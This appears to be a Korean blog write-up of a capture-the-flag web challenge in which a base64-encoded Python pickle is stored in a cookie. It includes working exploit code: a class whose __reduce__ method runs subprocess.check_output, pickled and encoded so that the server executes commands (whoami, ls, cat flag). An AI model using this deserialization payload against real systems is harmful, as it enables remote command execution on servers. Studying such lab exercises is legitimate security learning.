티스토리 뷰

728x90
반응형

문제 개요

Look Morty, look! I turned myself into a website Morty, I'm Website Rick babyyy!! But don't play around with some of them anti pickle serum I have stored somewhere safe, if I turn back to a human I'll have to go to family therapy and we don't want that Morty.

문제 첫 페이지

문제 분석

첫 화면에 위와 같이 나왔습니다. <__main__.anti_pickle_serum object at 0x7f17a8cc8950> 이라고 나오는 문자열의 경우 파이썬에서 특정 클래스를 출력할 때 위와 같이 나옵니다.

그리고 pickle 이라는 단어를 봤을 때 python 의 pickle 모듈을 사용했을 것으로 유추되는 상황입니다.

 

그리고 cookie 값을 살펴보니 역시나 base64 인코딩된 상태의 pickle 문자열로 보이는 값이 나왔습니다.

console.log(document.cookie);
'plan_b=KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'

 

해당 base64 인코딩 된 문자열을 디코딩 해보면 아래와 같이 나옵니다.

atob(document.cookie.replace('plan_b=',''))
"(dp0\nS'serum'\np1\nccopy_reg\n_reconstructor\np2\n(c__main__\nanti_pickle_serum\np3\nc__builtin__\nobject\np4\nNtp5\nRp6\ns."

 

그리고 pickle 모듈을 사용해서 위 결과와 최대한 일치하는 예제를 만들어보고 결과가 같은지 확인해보았습니다.

from base64 import b64encode
import pickle

class anti_pickle_serum(object):
    def __init__(self):
        pass

code = pickle.dumps({"serum":anti_pickle_serum()}, protocol=0)
code = b64encode(code).decode()
print(code)

# KGRwMApWc2VydW0KcDEKY2NvcHlfcmVnCl9yZWNvbnN0cnVjdG9yCnAyCihjX19tYWluX18KYW50aV9waWNrbGVfc2VydW0KcDMKY19fYnVpbHRpbl9fCm9iamVjdApwNApOdHA1ClJwNgpzLg==

 

그리고 아래와 같이 동일하게 결과가 나오는 것을 확인할 수 있었습니다.

 

 

이제 anti_pickle_serum 클래스가 호출될 때 return 되는 값으로 임의 명령의 실행 결과 값으로 변경해보았습니다.

from base64 import b64encode, b64decode
import subprocess
import pickle

class anti_pickle_serum(object):
    def __reduce__(self):
        return (subprocess.check_output,(['whoami'],))

code = pickle.dumps({"serum":anti_pickle_serum()}, protocol=0)
code = b64encode(code).decode()
print(code)

serum = pickle.loads(b64decode(code))
print(serum)

# {'serum': b'domdomi\\domdomi\r\n'}

 

제 PC에서 실행해보았더니 whoami 명령어 결과가 domdomi로 잘 나오는 것을 확인할 수 있었습니다.

 

문제 풀이

이제 위와 같이해서 flag 파일을 찾고 flag 파일의 내용물을 출력해보았습니다.

Flag 파일 이름이 flag_wlp1b 라고 되어 있는 것을 ls 명령어 실행으로 알 수 있었습니다.

그리고 Flag 값도 cat flag 로 알 수 있었습니다.

 

 

참고 사이트 : https://docs.python.org/3/library/pickle.html

 

pickle — Python object serialization

Source code: Lib/pickle.py The pickle module implements binary protocols for serializing and de-serializing a Python object structure. “Pickling” is the process whereby a Python object hierarchy is...

docs.python.org

 

참고사항 : pickle 모듈은 OS별로 또 Python 버전 별로 다르게 동작하는 것 같으니 주의가 필요해보였습니다.

 

- 끝 -

728x90
반응형
댓글